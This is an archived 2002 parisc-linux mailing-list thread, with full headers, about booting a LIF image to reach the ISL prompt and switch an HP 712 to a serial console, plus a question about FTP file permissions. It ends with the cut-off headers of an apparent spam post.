To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  1 18:03:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA3084829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Dec 2002 18:03:13 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gB1NPq120733
          for <parisc-linux@lists.parisc-linux.org>; Sun, 1 Dec 2002 22:25:52 -0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-MailScanner-UTwente: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16973

I want to use a serial console on my 712/80. To do that I need the "ISL"
prompt after booting. I read that the "ISL" prompt is included in a lifimage
called uxbootlf, which I downloaded.
But how do I use it?

Greetings,
Tim



From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] lifimage
Date: Mon, 2 Dec 2002 08:44:02 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <3DA3DE6600007D28@ocpmta4.be.tiscali.com>
References: <006301c29990$ea863700$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621982 17908 80.91.229.3 (22 Nov 2014 02:06:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:22 +0000 (UTC)
To: "Tim Kemna" <t.kemna@student.utwente.nl>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 00:44:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8DB24829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 00:44:39 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18IlFq-0002qc-00; Mon, 02 Dec 2002 08:44:34 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 2 Dec 2002 08:44:02 +0100
In-Reply-To: <006301c29990$ea863700$4fe85982@kabel.utwente.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16974

Hi Tim,

>I want to use a serial console on my 712/80. To do that I need the "ISL"=

>prompt after booting. I read that the "ISL" prompt is included in a lifi=
mage
>called uxbootlf, which I downloaded.
>But how do I use it?

The best would be refer to excelent:
<http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/index.=
html>

You would also certainly have to look for a tips to setup your console to=

be the serial device (it is not supported).

Cheers,
    Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Mon, 2 Dec 2002 10:02:56 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621983 17918 80.91.229.3 (22 Nov 2014 02:06:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:23 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 03:46:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1C2F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 03:46:19 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gB293V125697
          for <parisc-linux@lists.parisc-linux.org>; Mon, 2 Dec 2002 08:03:31 -0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-MailScanner-UTwente: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16975

The HOWTO only says how to make a lifimage (with NFSROOT or RAMDISK). It
doesn't say how I should use it.

Tim

----- Oorspronkelijk bericht -----
Van: <jsoe0708@tiscali.be>
Aan: "Tim Kemna" <t.kemna@student.utwente.nl>;
<parisc-linux@lists.parisc-linux.org>
Verzonden: maandag 2 december 2002 8:44
Onderwerp: RE: [parisc-linux] lifimage


> Hi Tim,
>
> >I want to use a serial console on my 712/80. To do that I need the "ISL"
> >prompt after booting. I read that the "ISL" prompt is included in a
lifimage
> >called uxbootlf, which I downloaded.
> >But how do I use it?
>
> The best would be refer to excelent:
>
<http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/index.htm
l>
>
> You would also certainly have to look for a tips to setup your console to
> be the serial device (it is not supported).
>
> Cheers,
>     Joel
>
>
>
****************************************************************************
****
> Controlez mieux votre consommation Internet...surfez Tiscali
Complete...http://tiscali.complete.be
>
>
>



From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Mon, 2 Dec 2002 10:50:23 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20021202105023.GL24337@sleepie.demon.co.uk>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com> <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621983 17925 80.91.229.3 (22 Nov 2014 02:06:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tim Kemna <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 03:55:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust111.brnt.cable.ntl.com [213.107.179.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34B544830
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 03:55:55 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 644FF9EE9C; Mon,  2 Dec 2002 10:50:23 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16976

On Mon, Dec 02, 2002 at 10:02:56AM +0100, Tim Kemna wrote:
> The HOWTO only says how to make a lifimage (with NFSROOT or RAMDISK). It
> doesn't say how I should use it.

You can netboot it, or use dd to dump it to a spare scsi disk and boot
that disk, or write it to a cd (just the lifimage itself, not as a file
in a file system), and boot from that.  Personally I'd netboot it.

Richard



From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Mon, 2 Dec 2002 13:03:42 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <19A3ADA4-05EE-11D7-9FA0-0030656F07A2@esiee.fr>
References: <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v548)
Content-Type: text/plain; delsp=yes; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621983 17938 80.91.229.3 (22 Nov 2014 02:06:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:23 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Tim Kemna" <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 05:03:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0AB694829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 05:03:52 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id BB5DF49C0B; Mon,  2 Dec 2002 13:03:46 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 47B6049BE4; Mon,  2 Dec 2002 13:03:42 +0100 (CET)
In-Reply-To: <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl>
X-Mailer: Apple Mail (2.548)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16977

Le lundi, 2 d=E9c 2002, =E0 10:02 Europe/Paris, Tim Kemna a =E9crit :

> The HOWTO only says how to make a lifimage (with NFSROOT or RAMDISK). =20=

> It
> doesn't say how I should use it.

http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/=20
bootnetwork.html


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Mon, 2 Dec 2002 14:28:50 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <3DA3DE6600007EA0@ocpmta4.be.tiscali.com>
References: <19A3ADA4-05EE-11D7-9FA0-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621984 17947 80.91.229.3 (22 Nov 2014 02:06:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Thibaut VARENE" <varenet@esiee.fr>,
	"Tim Kemna" <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 06:29:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77EAA4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 06:29:43 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18IqdV-0005dc-00; Mon, 02 Dec 2002 14:29:21 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 2 Dec 2002 14:28:50 +0100
In-Reply-To: <19A3ADA4-05EE-11D7-9FA0-0030656F07A2@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16978

Hi all,
>
>Le lundi, 2 d=E9c 2002, =E0 10:02 Europe/Paris, Tim Kemna a =E9crit :
>
>> The HOWTO only says how to make a lifimage (with NFSROOT or RAMDISK).

>
>> It
>> doesn't say how I should use it.
>
>http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/ 
>bootnetwork.html
>
Sorry (it was in intention to mentionned this section but I forget)

Hmm there is also an interesting section:
<http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/consol=
es.html#serialconsole>

explaining "3.2.3.2.1. How can I change the boot console to serial on a
712?"

Cheers,
    Joel

PS: I used this method to install a b2k model (when ide cd did work yet)

*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dump_patche.2.4.19-pa22.gz no read acces to the world
Date: Mon, 2 Dec 2002 14:41:50 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <3DA3DE6600007EB6@ocpmta4.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621984 17955 80.91.229.3 (22 Nov 2014 02:06:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 06:42:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id E61254829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 06:42:04 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Iqpj-0005Zh-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 02 Dec 2002 14:41:59 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 2 Dec 2002 14:41:50 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16979

Hi all,

In ftp://ftp.parisc-linux.org/patches/ I would be interested to read dump=
_patche.2.4.19-pa22.gz
but it doesn't have read access for other.

Can you help me?

Thanks in advance,
    Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Mon, 2 Dec 2002 17:13:50 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <003a01c29a1d$cd94b800$4fe85982@kabel.utwente.nl>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com> <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl> <20021202105023.GL24337@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621984 17956 80.91.229.3 (22 Nov 2014 02:06:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:24 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 09:14:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id D42014829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 09:14:27 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gB2GEKV14206
          for <parisc-linux@lists.parisc-linux.org>; Mon, 2 Dec 2002 15:14:20 -0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-UTwente-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16980

I need the lifimage to setup my console to be the serial device. So I can't
use netboot. Am I right?

----- Oorspronkelijk bericht -----
Van: "Richard Hirst" <rhirst@linuxcare.com>
Aan: "Tim Kemna" <t.kemna@student.utwente.nl>
CC: <parisc-linux@lists.parisc-linux.org>
Verzonden: maandag 2 december 2002 11:50
Onderwerp: Re: [parisc-linux] lifimage


> On Mon, Dec 02, 2002 at 10:02:56AM +0100, Tim Kemna wrote:
> > The HOWTO only says how to make a lifimage (with NFSROOT or RAMDISK). It
> > doesn't say how I should use it.
>
> You can netboot it, or use dd to dump it to a spare scsi disk and boot
> that disk, or write it to a cd (just the lifimage itself, not as a file
> in a file system), and boot from that.  Personally I'd netboot it.
>
> Richard
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Mon, 2 Dec 2002 16:52:19 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20021202165219.GP24337@sleepie.demon.co.uk>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com> <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl> <20021202105023.GL24337@sleepie.demon.co.uk> <003a01c29a1d$cd94b800$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621985 17960 80.91.229.3 (22 Nov 2014 02:06:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tim Kemna <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 09:57:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust111.brnt.cable.ntl.com [213.107.179.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBCBF4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Dec 2002 09:57:52 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 793F49EE9C; Mon,  2 Dec 2002 16:52:19 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <003a01c29a1d$cd94b800$4fe85982@kabel.utwente.nl>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16981

On Mon, Dec 02, 2002 at 05:13:50PM +0100, Tim Kemna wrote:
> I need the lifimage to setup my console to be the serial device. So I can't
> use netboot. Am I right?

This is a 712, right?  I guess you do need a working graphical console
in order to boot the lifimage and make the config change.  Do you not
have access to a PS/2 keyboard and (sync-on-green?) monitor for long
enough to do that?  My 17" iiyama monitor and a no-name 19" here work on
my 712.

Richard



From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ƹƷĺð@dsl2.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 9800ȫַܿ+100Ӫ,ֻҪ50Ԫ
Date: Wed, 05 Jan 00 16:01:59 йʱʱ
Lines: 95
Approved: news@gmane.org
Message-ID: <20021202171118.D121E4829@dsl2.external.hp.com>
Reply-To: @dsl2.external.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
    boundary="----=_NextPart_000_0064_36985556.A3C90004"
X-Trace: ger.gmane.org 1416621985 17961 80.91.229.3 (22 Nov 2014 02:06:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  2 10:11:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ojs-home (unknown [218.17.65.175])
